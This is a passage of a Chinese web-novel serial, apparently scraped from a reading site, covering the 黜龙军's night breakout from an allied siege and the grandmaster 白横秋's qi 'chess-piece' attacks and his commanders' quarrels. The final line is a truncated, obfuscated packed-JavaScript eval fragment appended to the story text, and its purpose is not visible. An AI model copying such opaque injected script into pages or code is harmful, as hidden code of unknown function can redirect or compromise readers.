情势紧张,众人就势勒马稍缓,而白横秋那里,银盘已然开始停止凝结,反而渐渐缩小,这是要成型的预兆,张行晓得厉害,心中思索局势,却是毫不犹豫做出了决断:“让后军的徐师仁沿途放火,防止有联军来从营寨正后方主路做追击,你们也去……按照原来设计,努力在后军接他一子、两子,然后我再连结此间帮内豪杰,回身给他一下!” 这便是要主动引导白横秋落子了。 须臾片刻,后方火起,而前方道路再度打通,黜龙军诸军纷纷努力向前,便是主动选择来从后方追击的赵八柱,也只能勒马,看着前方燃起的火光无奈起来,一时不知道该如何应对。 白横秋远远望见这些,却并不中计,而是看向了身侧的金刀:“薛公请出刀斩一斩贼军后军。” 薛常雄犹豫了一下,还是腾跃起来,飞刀而去。 未至黜龙军后军,便有熟悉的紫旗自中军卷起,迎面来战。二人旋即战作一团,中间几次紫旗往中军那团尚在移动的雾气上方来退,金刀都不追击。 白横秋看的清楚,晓得薛常雄已经起到效果,沉吟片刻,便要落子。 而就在银色棋子刚一颤抖之时,脚下不远处忽然有人勒马来喊:“老贼!可敢来战你爷爷周行范!” 白横秋瞥了一眼,冷笑一声:“你这条小犬倒是青出于蓝,居然敢对老夫来吠了!” 说完,依旧不中计,乃是将银色棋子往正在边走边纵火的黜龙军后军微微一推。 然而,周行范之前喊叫,便是存了拼命来换这个棋子的意思,如今如何会惧?却居然在马上弯弓搭箭,使出平生力气,鼓动离火真气,径直朝这位大宗师射来。 仿佛着火的箭矢飞来,刺到大宗师身上,居然只切破了一点外面的罩衣,甚至没有灼烧之态,然后整个箭矢弹起飞落,消失在夜空中了。 全程,白横秋都没有任何多余反应,乃是将那棋子控制到西面黜龙军后军左近,双手握拳,在空中奋力一扯,待棋子下落,这才转身冲下,直奔周行范处,临到跟前,复又立定,只将大袖一摆,立即从周围空中卷动许多棋盘网格一般的银线网,便把周行范整个裹了起来,再凌空拎起……然后却又猛地看向自己的西面。 彼处,银色棋子刚刚飞落,却见落地方向的地面上陡然一闪,居然多道断江真气连结成网,朝着银色棋子迎面兜起。 白横秋见状惊疑不定,随手一抛,便将周行范整个凌空掷了出去。后者落地,扑不能起,俨然即便不死,也必然重伤,却又被数名心腹骑士拼死过来,将人拖走。 另一边,大宗师的面色已经完全难堪,因为就在这时,他清楚的看见,自己堂堂大宗师外映出的攻击手段,居然在空中被断江真气连结的简易真气网给当空兜住……非只如此,银色棋子既落网,先是减速,随即便被断江真气给分割开来,然后化作许多细小棋子,改变方向落地,只在火场中引发爆鸣。 “十三金刚名不虚传!”大宗师的声音陡然在战场上响起。“白帝爷不顾天意民心,擅自插手人间大事吗?” “英国公莫要胡扯。”满头大汗的莽金刚在地上大笑回营。“俺们兄弟自家决断,来助张首席一臂之力,关白帝爷什么事?!” 白横秋也终于冷笑:“若是这般,你们有没有想过,天命早分,你们是被这厮哄骗了,做了违逆白帝爷心意的事情呢?” “英国公还是莫要胡扯!”还是莽金刚来回,实际上,战场上能做出这种音量言语的,非成丹高手不能为。“俺们兄弟凭心意做事,便是违逆了白帝爷心意,他只没说出来,又凭什么来论俺们错处?!再说了,俺们虽是白帝观内长大,号称个十三金刚,可如今都是黜龙帮的帮众,为本帮尽力,有什么可说的?倒是英国公你,临阵来战,浪费什么口舌,你尽管来落子,今日便落一百个,俺们也接下一百个!” 早在十三金刚接下那一落之后,黜龙军便群情振奋,但这不代表白横秋只是图费口舌浪费时间,因为就在他说话的同时,第二颗棋子已经开始迅速凝结,却是一颗红子。 战场的东侧,隔着一条河,徐世英及其部此时已经完全逃出了东都军大营的范畴,而郑善叶勉强组织起来的部队才刚刚集结,而且相隔颇远,完全可以说,到此时,他本营已经算是成功突围而出了,生路就在眼前。 也正是在这种情境下,徐大郎手持惊龙剑于夜风中回头,远远望见第一枚棋子落下第二枚再起的一幕,心中不免复杂。 其实,这就是他选择作为偏师的道理了,并不是说做偏师就一定能躲过大宗师的随机打击,而是说,这位自小做贼的东境大豪强不乐意、不习惯,甚至是发自内心抗拒将性命或者说个人的命运交给其他人。 之前他与张行的纠葛,以及在黜龙帮内的种种选择还有地位沉浮,本质也在于此。 这四年的经历,曾经使得他一度软化,想过要放下这种内心深处的硬壳,趁着张行登位首席、名正言顺的时候,将一切托付给张行这个个人。但是,张行却希望他徐大郎将一切托付给黜龙帮这个组织以及它代表的一些虚无缥缈的东西。 这怎么能行呢? 这怎么能行! 于是,那一次,双方非但没有聚合一体,反而加重了隔阂,而张行一刻不能等他,只能将他徐大郎作势力上的拆解,将他调到了河北。 这就使得徐世英进一步明确了自己的内心想法,剪除暴魏、安定天下,包括“黜龙”都是可以去做的,被动的主动的,他已经在做了,但是到目前为止,一切的前提都是他自己掌握着自己的命运……大丈夫生于世间,当提三尺剑立不世之功,然则性命可托于他人乎? 似乎可以托! 那么可以托于什么大义吗? 似乎不可以! 徐世英将今晚自己在自己内心问了许多遍的话重新过了一遍,似乎坚定了某种决心。 然而,不知道是什么原因,当他转过身来,迎面南风吹来,却又心中莫名慌乱起来,复又回头去看,俨然动摇。唯独事到如今,莫说动摇,便是有心再与黜龙军主力同生共死而去,也根本不可能……真要说什么正经话,也该是领着本部兵马活下去才对。 “大郎!”就在这时,蒸过炊饼的心腹侍卫首领主动来问。“现在已经突出来了,咱们往哪里走?南边还是东边?还是往北?” 徐世英闻言心中微动,却又反问:“往北?” “顺着河走,好去万一有可能的时候渡河去接应张首席他们。”亲卫首领一如既往的认真。 徐大郎不由苦笑:“哪来的桥舟?我又没有首席的修为……” 亲卫首领还是坚持:“可以去甲轻身凫水渡河,咱们既然轻身过来,不能弃首席他们于不顾。” “不行。”徐大郎摇头以对。“走可以顺着河道走,以避开东面屈突达的兵,但决不能轻身渡河,因为我们这些疲兵一旦没有甲胄军械,便只是对面河间大军、幽州大军的脚下烂泥罢了,我身为一营主将,现在最大的事情便是要将你们保全。” 亲卫首领终于无话可说。 一营兵旋即上路,却果然是往北面而去,准备顺着河道避开可能的屈突达部。 这一路黜龙军就此离去,大宗师的红色棋子也终于完成。 白横秋往发白的东面瞥了一眼,似乎是在看徐世英部队的远离,却没有直接将棋子落下,反而只是将棋子移动到黜龙军上空引而不发,然后便迅速寻到之前没有理会的罗术身前,扬声呼喊:“罗总管!” 因为黜龙军主力进军极速而现身的罗术心惊肉跳,只能在下方拱手来对:“白公!” “贼军趁虚而入,不关你事,但事已至此,北面堵塞此间大营的幽州军部队便没有必要,速速转回,来作黜龙贼主力当面阻隔!”白横秋言语干脆。 罗术心如滴血,却只能应声:“属下这就去亲自传 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故此,双方在战场最西北处交战,黜龙军迅速展开,部队自已经宽阔起来的幽州军外侧各门涌出,各自交战起来以后,幽州军立即陷入下风,眼瞅着便要被分割突破。 与此同时最靠谱的另一支联军主力部队乃是太原军,但他们的营地却在西南面,虽然在赶来的路上,却明显有一个时间差距。 面对这种局势,不只是魏文达着急、罗术心中滴血,便是居高临下的白横秋也面色微变,变得紧张起来。 紧接着,薛常雄忽然弃了雄伯南,转向远远观战的白横秋,当面来问:“白公,如何还不落子?” “天色未明,第三枚棋子我怕不能从速凝结起来。”白横秋坦诚以对。“徒劳失了时机。” 薛常雄怔了一下,忽然失笑:“如此说来,你不能破黜龙军这走军之阵了?” 白横秋凭空而立,平静以对:“未落子,如何定局?今日这战,哪有这么轻快?” 薛常雄缓缓摇头,看了看周围明显转移中心到了最西北角的战场,然后在越来越大南风中看着对方来言:“非也,白公,你不必拿乔作势……这一战,你没有当场杀死曹林,落下东都这个天大的窟窿,便是三分弱了;张行得了伏龙印也好,众志成城也罢,那一日在这里挡住你,便又去了你三分气;而今日,你若是不能阻拦他们出了这个大营,便没了最后的三分力气……什么追击都是虚的!你的兵马和东都军,还有你本人,都不会放肆北上,而没了你和你的兵马,整个河北的联军就会在所谓追击路上一哄而散!” “所以薛公什么意思?”白横秋认真来问。 “很简单,你再不落子,便没了落子机会!”薛常雄言语平静。 “时机不对,落子不成,岂不必败?”白横秋冷冷反问。 “那也起码落下这一子,以示尽力!”薛常雄语气终于不善了起来。 “若他们真要突围而出,而窦琦不能迅速补上缺口,我便落这一子。”白横秋给出了最终答复。 薛常雄啧了一声,没有再说话,而英国公白横秋也没有再开口,两位关陇出身的顶级贵族、军阀,便这么在空中负手而立,各自出神。 其实,两人的话表面上是在争执这颗红色棋子要不要尽快落下,实际上却是在讨论,要不要让白横秋再亲自闯一闯,亲自去动手对一对张行? 薛常雄当然是建议对方试一试的意思,而且他有没有说出口的其他话……这一战就是他白横秋挑出来的,他不去拼命,其他人自然也不会拼命,比如现在,他就不动了。 白横秋的选择也很自然,张行有伏龙印,他亲身体会过的,现在又多了十三金刚,十三金刚非但是加一起抵得上一个宗师的概念,而且明显有自己的特殊法门,他们一旦结阵,那断江真气之纯净,堪称无坚不摧,便是白横秋一个大宗师都要色变。 所以,亲身去拼,就意味着拼命。 不是说他已经畏惧拼命了,而是他并不觉得自己已经到了拼命的时候……天长日久,四海板荡,而自己又占有先机,凭什么要在主动出击的战斗中拼上一切? 就在两人纠结于时势、战局,乃至于日出的时候,忽然间,幽州军大营营盘外侧战场初,异变陡生。 “总管有令,让开缺口,太原军要换上!”混乱的战场上,眼见着黜龙军前方的雾气渐渐散开,张公慎忽然带着数骑出现,然后当众下令。 并且径直自战场外围驰入,直接呼喊下令。 一旁的白显规愣了一下,居然以为是真的罗术下令,反而呵斥:“公慎,且小声些!不要留口实!” 周围幽州军上下,如何不晓得这两人是罗术心腹,所谓燕云十八骑中的两位,而现在见此二人言语行为,都信以为真,便是魏文达也泄气起来: “一会说主力在正北,一会说被趁机入了自家大营,一会坚决要打,一会要让开……我自晓得罗总管的意思,但也不至于这般反覆吧?” 白显规只是来劝。 而随着幽州军忽然让开一个缺口,黜龙军再不犹豫,奋力驰入。 “走!”张行心中猛地一跳,却是立马在营寨出口处,朝着身侧大声呼喊下令。“王雄诞、马围,你二人带着军中文书先走最前面!其余士卒再走,准备将与军中修为过凝丹者随我留下断后!” 众人不及言语,纷纷依令行事。 薛常雄远远看着这一幕然后扭头瞥向了身侧的白横秋。 白横秋缓缓摇头,下一刻,忽然一挥手,那颗并不大的红色棋子陡然朝着军那个缺口后的黜龙军密集处砸了过去。 居然没有砸向缺口?! 果然,十三金刚先起,断江真气连结成网,但预想中的紫色大旗并未出现。 红色棋子落下,被兜住,与上次无二,被断江真气切割开来,然后变向甩开……然而,即便如此,被切割后的红色棋子残片依然落地便炸裂开来。 一时间,死伤累累,十三金刚目瞪口呆,刚刚参与托底的雄伯南以及就在一旁的王叔勇目眦欲裂。 这还不算,就在此时,薛常雄一回头,便见到白横秋整个人卷起三色辉光,直接往刚刚落地炸裂、乱成一团的地方砸来。 反应最快的是雄伯南,其人不敢怠慢,立即卷动着一面真正的红底“黜”字大旗腾跃起来,然后展开了一面巨大的紫色真气大旗,迎面来挡,却被直接洞穿了紫色巨幕。 薛常雄眼见如此,心中微动,便要追上。 但就在这时,十三金刚反应过来,借着雄伯南争取的时间瞬间再度组阵,然后当面罩来……白横秋微微一闪,直接划出一道金线,尝试去碰那淡金色的断江真气。 两者相交,居然宛若金铁。 大宗师心中一惊,赶紧躲开,却不料,就在这时,张行弃了铁枪,只持一把寻常北地**,鼓动真气,扔下战马,率领着十余道流光迎面扑来。 白横秋心中大骇毫不犹豫高高跃起,往一侧退去,取而代之的是一道临时划出的小型真气棋盘当面压了下来。 却被再度振作的雄伯南摇动大旗,亲自拨开,但真气四散,也当场将许多士卒军官给扑倒在战场上。 随即,黜龙军上下几乎再无人敢恋战,只纷纷掉头往外逃去,倒是张行本人,虽然心慌,却反而立定,几乎只在雄伯南、十三金刚护卫下放声来笑对第一次逼近过来的白横秋: “白公!我这人外宽内忌,颜缓胆厉,少谋多决,忌克无威,所谓有才而不能用,闻善而不能纳,今日居然能在白公重重包围下逃脱吗?这是天意吧?” 白横秋愣了一下,一时竟不能对。 张行见状,返身转回,就在缺口处上了马,然后带着十三金刚与最后的徐师仁营一起离开,乃是强行在外面已经重新交战的区域冲开一条道路,继续往北而去。 几乎是同一时刻,看了一夜风景的李定忽然将手中酒杯狠狠掷到地上。 然后等了片刻,就在张十娘想要安慰之时,却主动起身而去,然后翻身上马,张十娘跟上,夫妻二人带着少数随从就往西面而去。 战场中心,已经平静的黜龙军大营处,到处都是的火光中,王臣廓忽然嘴角狞笑了一下,从容下令:“走!咱们从自家大营那里出去,去追杀黜龙贼!” 周围士卒闻言居然哀叹起来,但王臣廓根本不做解释。 对于战场上的人来说,更东面一点的徐世英及其部属,俨然会更早一点触及到东面那一丝辉光,不过,在这之前,他先遇到了一个意料之外情理之中的人。 “不要去东面了!”月光下,程大郎认真来言。“东面不光是屈突达忽然出动从南侧往西面走了,还有一支兵马,顺着官道过来的了,必然是预备好的伏兵,小心被他们发觉,迎面来兜,届时便是被两面包抄之势。” “便是没立即发觉也不行的,等他们跟追兵撞上,晓得我们在这里,也必然来攻!”徐世英怔了怔,看了看自家疲敝至极的士卒,难得慌乱。“人数多少?” “最少六七千。” “应该是六千。”徐大郎俨然想起了什么,验证了相关消息。“我现在只剩一千多人……如之奈何?” 倒是他那位心腹侍卫首领,此时认真建议:“大郎,咱们趁着天未亮,去甲轻身凫水渡河,岂不两全其美……既能躲过去来夹击的官军,还能渡河过去,寻首席他们!” 徐世英欲言又止。 “不错!”程大郎也立即颔首。“这是个好主意!首席在北面,我们就去北面!我这次自请过来,便是为了随从首席,尽忠义之事,徐大郎,咱们同去便是!” 徐世英一时恍惚,摇摇晃晃站起来,左思右想,竟不得不承认,这是一个真正对自己部属负责的选项。 连突围方向不同都要被撵回去吗? 天亮的时候,徐大郎部果然去甲轻声凫水渡过了他们三更天刚刚渡过的清漳水,以对河水这边兵马的规避。 而清河郡内既然天亮,大河口那里却是已经天亮了一阵子。 用完餐后,白三娘立即催促下令,乃是要全军速速出动,先行入海,然后北上。 PS:感谢新盟主未醒的狐狸老爷的上盟……惭愧万分。 (本章完) 第二百八十三章 山海行(30) 天亮前一刻,借着月光的映照,黜龙军主力突出了联军营盘。 从战术角度来说,突围行动当然远远没有结束,实际上也似乎的确如此因为月光下入目所及,数不清的追兵纷纷攘攘,如黝黑的潮水一般自联军大营中涌出,这其中有幽州军,有河间军,有西北部诸郡的杂牌军,当然还有太原军,好像除了对岸无人在意的东都军外,几乎所有联军都投入到了这场追击当中。 而且全心全意他们或是骑马,或是步行,或是呼,或是喊,甚至有人击鼓,但全都整装荷戈,几乎是带着某种激情朝着向北面狂奔的黜龙军以及周边方向疯狂追逐了过去。 一路向北!向西北! 然而,望着这近乎于壮观的一幕,立在幽州军大营外侧一处望台上的英国公白横秋却面色铁青。 无他,这位联军主帅心知肚明,离开营盘后,失控的不只是黜龙军,便是联军中的大部也将彻底脱离他的掌控和军令,换言之,这些人,既是在追击黜龙军,也是在脱离自己! 不能将黜龙军主力打崩溃,东都又被偷,关西还必须要赶着过去,河北群雄趁机脱离也是理所当然的事情。然而,体面的结束和这种一哄而散式的解体还是不一样的,如果将来收拾好西面再回头跟河北发生争端,很可能就是这个不一样导致了难易不同,乃至于结果不同。 更不要说,这些貌似在追击,其实是在逃窜的联军还极大的阻碍了真正想追击部队的行动,反过来为黜龙军提供了事实上的保护。 就在这时,白横秋瞥见一道金光闪过,心中微动,却是毫不犹豫,后发先至,落在了一处营门的侧后方。 此地不是别人,正是面色铁青的幽州总管罗术,其人正勒马在栅栏下,与心腹白显规言语着什么,似乎情绪有些失控,见到白横秋忽然闪到身前,更是大骇。 这还不算,白横秋刚到,又一道金光闪过,却是薛常雄抵达见此情形,罗术先是一怔,继而面色惨白,直接低头悄声下马。 “白公!”夜风中,火光与月光下,薛常雄朝着站在自己与罗术之间的白横秋先行开口。“我已经让主力一路往北走,抢占北面城池,铺陈防线,防止他们转向,另有三千兵随我,以备追击.但眼下,幽州军裹着黜龙贼一起走,将其余追兵隔开在外,却该如何?” 白横秋没有吭声,而是回头看了罗术一眼。 罗术立即咬牙行礼,然后语气焦急:“白公、薛公,这是属下的过错,属下识人不明也不对,是属下在幽州根基浅薄,以至于军中早被张行按下了好几个暗子现在幽州军中至少有好几个统兵大将跟黜龙帮暗通曲款,再加上冯公手下那几位,他们里应外合,先是糊弄属下,使属下中了调虎离山之计,刚刚又直接引兵放纵了黜龙贼!现在他们表面上是在追击,实际上应该是在护着黜龙贼逃窜!”…. “那该怎么应对呢?”薛常雄语气怪异。 “委实无法。”罗术硬着头皮来对。“下面的军士根本就是被无辜裹挟,一旦用强,伤及无辜倒也罢了,怕只怕黜龙贼趁机溜的更快,而上面的将领,我也只能说我部张公慎与赵郡都尉齐泽,还有王臣廓,都有些嫌疑罢了要不,我追上去,亲自处置了张公慎?” 薛常雄笑了笑,没有吭声,只是继续看向了白横秋。 白横秋幽幽叹了口气,却不理会罗术,也同样看向了薛常雄:“薛公,追兵这里确实无法,不过咱们还有两個后手,待会天亮,我还能再起一子,总要尽人事听天命的.现在跟上去吧,还请你依旧随我一起行动。” “可以。”薛常雄点头以对。 说完后,居然是薛常雄金光先起,然后白横秋银光随之。 而两人一走,罗术不顾满头大汗,直接仓皇翻身上马,连声催促:“走!先走再说! 白显规来不及多想,乃是一起出了营门,朝着魏文达部飞奔而去。 过了足足一刻钟,追入到魏文达军中,见到了魏文达本人,方才如蒙大赦,开口以对:“薛常雄刚刚想杀我!竟是白横秋救下了我!” 白显规登时醒悟,不由后怕。 魏文达也连忙安慰:“总管莫慌,既到了这里,我拼却性命,咱们三人加上这么多幽州兄弟,未必能不能抵挡薛常雄那柄金刀!” “正是要借魏将军的威风!”罗术长出了一口气。 而魏文达想了一想,不由来问:“薛常雄要杀总管,无外乎是他河间本就跟我们幽州是对头,现在放纵黜龙军的事情传到他耳朵里,又有了口实,想趁此大乱兼并幽州.可英国公是什么意思?” “薛常雄想兼并咱们幽州,那英国公自然是不想!”白显规无奈开口解释。 “自然如此。”罗术也不由冷笑以对。“英国公何其聪明的人,他必然早就醒悟,今夜之后,风向转过来,黜龙帮得势之下,我们幽州反而是黜龙帮大敌,所以保我,而薛常雄那里,他巴不得他回转关西后薛常雄与黜龙帮不死不休,耗在那里。” 话到这里,其人也觉得无趣,却是赶紧招呼:“不管他了,既逃得性命,咱们沿途收拢兵马,速速折回幽州为上!” 白显规立即点头,魏文达虽然还想问问张公慎的事情,此时也憋了下来,只是整饬队伍,努力向北。 就这样,天亮前的插曲迅速被滚滚的大军队列所淹没,而很快,东面便隐隐出现了光亮.但也只是光亮,因为随着清晨的到来,随着阳光的出现,头顶的月亮彻底暗淡,而已经转移到北面的战场上,则忽然飘起了一阵薄雾。 这次的薄雾,不是张行的寒冰真气引发的小范围雾气,而是正常的天象,是前几天下雨和这几日天气晴朗的共同产物。…. 这对联军而言总体上是好事,因为天气晴朗跟前几天的雨水天气比是绝对是利好追击的,黜龙军自己昨日早间都为薄雾而感到不安过.但是,真当持续不了多久的雾气卷过来,为黜龙军主力再度争取到了些许时间的时候,白横秋还是在心中生出了一丝沮丧之意。 而这位联军主帅很快就意识到,这不是因为什么雾气,而是连自己都对今日的战事不抱太大希望了,都懒得再去追击了。 甚至他心知肚明,对于突围的黜龙军和联军的其他人而言,这种情绪的转变发生的更早,早在黜龙军突出联军营盘的时候就已经显现。 彼时,黜龙军上下是看到的是希望,什么刚刚遭遇的惨烈伤亡,什么之前被围困时的惶恐与煎熬,什么接下来可能遭遇的艰难困苦,全都抛之脑后,一直到现在都只是奋力向前而已! 而联军上下,却都觉得心底一股气猛地泄下.须知道,之前十几日,虽然联军各方勾心斗角,虽然遭遇了种种战术阻碍,但所有人都是以联军压垮黜龙军为前提做的预设,即便是白横秋,今夜之前也都没有什么发自内心的忧惧.说句难听点的,但凡是个联军,哪里不会勾心斗角,打仗哪有一帆风顺? 只要最后打赢 了,万般事都只是过眼云烟而已。 更不要说,上层的勾心斗角关中下层什么事情?从联军部众角度来说,之前的事情更只是联军一直维持一体,共破黜龙贼的大好局面。 故此,晓得黜龙军冲出了营盘区域,联军中下层几乎人人沮丧,而许多早就心猿意马、摇摆不停的上层更是在一瞬间做出了决断! 而现在,自诩心境波澜不惊的自己,也感觉到沮丧了。 “薛公,你怨恨我吗?”一念至此,趁着这个最后的空档,已经抵达北面一个村庄外围的白横秋忽然在薄雾中开口。 “不怨。”跟着他过来的薛常雄失笑以对。“你到底是亲身博了一下,虽然最后又回来了,但还是亲身下场了,我也没什么可说的了。” 竟是丝毫不提罗术的事情。 “那薛公,你忧心此战后局势吗?”白横秋也没有计较,而是继续来问。“也不忧心。” “这倒是奇怪不说今日之后,河北局势可能要逆转,只说眼下局面,张行既然从西北面逃出去,又总要归渤海、平原,怕是少不了要越过河间、信都吧?” “这是自然。”薛常雄负手平静作答。“而且张行当日分出黜龙军大兵团的作用本就是要做接应,这边突出去,那边恐怕立即会调转方向,往河间去做接应了,到时候我会被两面夹击。” “你既晓得,为何不忧心?”白横秋见到对方坦然,愈发蹙眉。 “我凡事都尽了力,结果如何自有天意,何必着急?”薛常雄依旧平静。…. “天意?!”白横秋望着眼前雾气,摇头以对。“什么是天意,难道不是人心?” “天意自然是人心。”出乎意料,薛常雄居然没有反驳,反而有些幽幽之态,而他们侧前方的野地里又传来了密集的部队行军声音,听声音是一支太原军。“我不像白公那般天资英锐、文武双全,早早伏下许多棋子,做了许多准备;也没有张行的天赋,能第一个窥破大局,跳出来争那个天下先”我薛常雄只是一个武夫而已。所以,有些道理,根本就是挨了打、吃了痛,才慢慢晓得的你们这些聪明人,哪里晓得我们这些愚笨之人的艰难?明明局势大好,只是稍一得意,或是一时慌张,便失了人心。” “听起来,薛公是没了斗志?”白横秋若有所思,继而摇头。“薛公,这其实就是我最怕的了.我一走,河北必然会风向倒转,其中罗术、李定的立场反而简单,罗术哪怕今日是放了张行的罪魁祸首,却也必然会在防御幽州时抵抗到底,这也是我刚刚阻拦你的缘故;而李定等局势稳下来,十之**会降,所以我才将他兵马调走,好此战后与他说法故此,我现在真正忧虑的人只有一个,那就是薛公你。” “红山之后,我的确觉得张行这人不成大业,便成大贼.根本不是寻常思量可以对待的。”话到了这个份上,薛常雄倒也干脆。“今日之后,黜龙帮也必然会在河北慢慢扳回来。但无论如何,我都不会降于黜龙帮的,你信也不信?” 白横秋怔怔看了对方片刻,不由苦笑:“薛公居然与怀通公一个文修一般,被对方在红山上的那番话给镇住了?以至于有了沮丧、避战的心思?不过无所谓了,我信得过金刀薛大的人品。” 薛常雄听到最后一句话,明显一动,原本想说的话也都咽了回去,只是闭嘴不言,静待薄雾散去,韩引弓及其部队显露身形.这支军队和雾散后的阳光,将是白横秋最后的两颗棋子了。 当然,薄雾中,不是人人都如这两位拥有足够加速手段的,而除了这两人之外,已经完全脱离了原定战场的双方各部,几乎所有人都在继续奋力狂奔,他们或是根据城寨、村镇的建筑方位,或是根据田陇的走向,或是顺着既定的官道小路,并没有谁胆敢在这条路上稍作停顿。 “韩将军。”薄雾中,立在一处田埂上的刘扬基面色铁青,在马上扭头看向了身侧的大将韩引弓。“这个局面,若是我们失了道路,到底算谁的?一开始可是让我们往大营那边去的,结果你却只让我们去北面,一路上不停改着向北,若不是刚刚路过一个村寨,都不知道自己在何处!” “不至于,这雾存不下来,很快就会大亮。”韩引弓笑着宽慰。“而且刚刚情报清楚,黜龙军从西北方向出来,我估计是要往襄国郡境内的大陆泽这其实是好事,他们不晓得我们这支兵马,咱们只管抢在他们之前跑到平乡那里设好防御便是,到时候,即便是他们有好几个宗师,前有阻截、后有追兵,也不敢硬抗,足可留下许多兵马.这不就是白公的本意吗?”…. “可若是算错了,河北这么大,又四野平阔,人家就没有去大陆泽,又算谁的?!”刘扬基听到这里,委实压不住怒气。 “自然是算我的。”韩引弓丝毫不惧。“白公不是说了吗?此战我若不能尽力,他便亲手了结了我。” 话到这里,竟也有些愤然之态:“去平乡!我自家性命摆在这里,赌的起来!若是直接去东面做追击寻找,雾气中失了时机,或者被乱军阻碍,没有寻到人,白公才会真的恨我!” 韩引弓一怒,周围军官参军文书侍卫各自凛然,而他身侧道路上,八千原本从徐州带回来的精锐接连不断,只是按照他的军令往北面而去。 见此形状,刘扬基实在是无力,只能伸手拽住对方马缰,提出了一个方案:“分兵吧!” “什么?”韩引弓一时诧异。 “分兵!”刘扬基立即给出了自己的方案。“全军八千分成两部,一部尽量往北,按照你的路数去平乡做阻截;一部跟着我现在就往东面插过去,寻找黜龙贼两不耽误。” “若是分兵后,我在北面堵住了对方,黜龙贼过来,却不能抵挡,又如何?”韩引弓反应过来,怒气愈发。“算谁的?” “算我的!”刘扬基昂然来对。“这里这么多参军文书侍卫,都亲耳听到,如何做不得数?而且韩将军,我须与你说清楚,白公原话是,你若不遵军令,方才出手亲自了结你,不是不能尽力或者建功!” 韩引弓登时沉默了下来,周围军官也多慌乱,刘扬基只是催促。 其实,这场战场上临时博弈的背后逻辑很简单.韩引弓选择绕远阻击一方面是真觉得张行既然从西北口脱出,必然会去大陆泽,另一方面其实也有在这个混乱局势下暂时远离白横秋和太原军的意思,以做实力保存,并争取必要的逃命空间;而刘扬基的心思就简单多了,他就是想促成这股生力军迅速与黜龙军交战,达成杀伤目的,同时确保这支兵马在白横秋直接控制范围内,不出岔子。 平心而论,事情到了这一步,双方其实都是在趋利避害,但很难说谁的方略是正确的,谁的又是错误的。因为这个时候战场是混沌的,是真的有战争迷雾的,连薛常雄和白横秋都无法控制军队,谁也不知道局 势往什么方向发展,谁的选择真正能起到作用。 遑论是他们? 而眼看着双方在局势的快速发展下根本不能迅速达成互信,于是,刘扬基干脆拿一个军头最不想看到的方式—拆分兵马来做威胁。 “好!”韩引弓忽然开口,做了应许。“那就分兵!” 这下子,刘扬基反而目瞪口呆,继而焦急起来,居然主动反驳起了自己提出的建议:“分兵之后若是撞到黜龙贼也无法阻击得利,结果让人跑了又如何?而且去平乡也太远了些.之前传讯说黜龙贼逃出去时我就说了,黜龙贼便是逃出来,等天色大亮后又能逃多远?只要咱们尽量稍微向东北方向进军就行你却总不能忍耐!”??…. “我自然不能忍耐!”韩引弓居然不怒。“不是阁下来告诉我,若我不能拦住黜龙贼,英国公便让我死无葬身之地吗?性命攸关,我自然要保命为上!无论如何寻到张行做了交战再说其他!所以,只按照你的说法,分兵!” 刘扬基无奈,只能反过来劝说,但韩引弓这种人如何会被劝服?而刘扬基又终究不能拉下脸来,当众屈服对方.于是,其部八千人到底是一分为二,一部随韩引弓向北面平乡当道阻截,一部随刘扬基往东北面战场方向而去。 另一边,战场的东端,就在韩引弓、刘扬基分兵的时候,却有两支游离的兵马在雾气中撞在了一起。 不是南岸的孙顺德与郑善叶,他们早知道对方的存在,此时正在联合一起努力徐世英及其部属的下落.实际上,遭遇了一支意外兵马的人不是别人,正是刚刚将甲胄、长兵扔进清漳水,然后凫水过来的徐世英、程知理,以及他们带领的这个剩一千多人的营头。 也正是因为刚刚渡河,又无甲胄、长兵,所以,在河堤下稍作休整的他们听到雾气中有密集马蹄的时候,不由心沉到了底。 说句不好听的,若是雾气没了,徐程二人还能凭着修为擒贼擒王,惊吓住对方的士卒,但雾中这些没了甲胄长兵又刚刚渡河的士卒乱战,不免要伤亡惨重。 不过,随着骑兵群迅速接近,两个修为最高的大头领却瞬间凭着修为察觉到了一丝可乘之机—对方气势汹汹,却明显是一群败兵,很多人都带伤,而且衣甲凌乱。“什么人?” 程大郎毫不犹豫,使出修为,高高腾跃起来,然后在空中便遥遥来喊。“报上来历!” “你们是什么人?” 那支兵马见到一位最少是凝丹高手的人突然出现,且身后明显有兵马骚动,俨然有一支兵马在此,也是立即止步,其中为首之人更是显得紧张。 程大郎何等精细人物,见到这一幕,便晓得事情成了,当即便靠近来言语:“我是清河崔氏武城小房的女婿,奉命率族兵前来助战!你们是哪家兵马?幽州军还是河间军?” 这个时候,对面明显骚动起来,却并不作答。 程大郎心中微动,便要再往前去,忽然大喜,却居然是认出了其中几位骑士,然后立即醒悟,便要招呼,而那些骑士见对方临近了,俨然也认出了来者是谁,也各自面面相觑,居然齐齐后退。 程大郎初时不解,但他马上就意识到了什么,便回头来看徐大郎,好让对方上前说话也就是这时,那之前开口的骑士忽然闷不吭声,直接一矛刺来。 程大郎措手不及,却居然没做反抗,连护体真气都未鼓荡开来,直接后仰翻滚,熟料,那骑士身后数骑一起上前,齐齐来戳,程知理心惊肉跳,更是无奈,只能腾跃起来做躲避。…. 而这个时候,也意识到什么的徐大赶紧开口:“我是徐世英!程大郎是奉命来支援,在路上遇到的,都放下军械,你们跟周头领失散了吗?!” 对方骑兵明显一惊,却依然犹疑。 还是徐世英主动上前,说明了情况,又带几名骑士来看了刚刚渡河的本部兵马,这才解开了疑虑。 然后,又将受伤昏迷的周行范给从后面网兜里抬过来,让徐世英查看伤势,眼看着徐大郎脱了小周头领的甲胄,渡入长生真气,这些人这才对着老上司程知理下拜赔罪。 程知理赶紧搀扶起这些昔日下属:“你们不晓得我修为吗?明知必死也要来戳我?” 几名骑士无奈,也委实尴尬,只是低头。 程知理见状既心疼,又有些羞愧,只能摒掉此事,赶紧去查看这支骑兵,乃是挑拣伤员,重整部队的意思。 过了一会,眼看着雾气将散,徐世英的长生真气终于将周行范给救醒了过来,三位头领汇集,便要商议下一步动向。 “小周伤势严重,得迅速送到后方安顿下来。”徐世英言简意赅,指着闭目咬紧牙关的周行范先说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 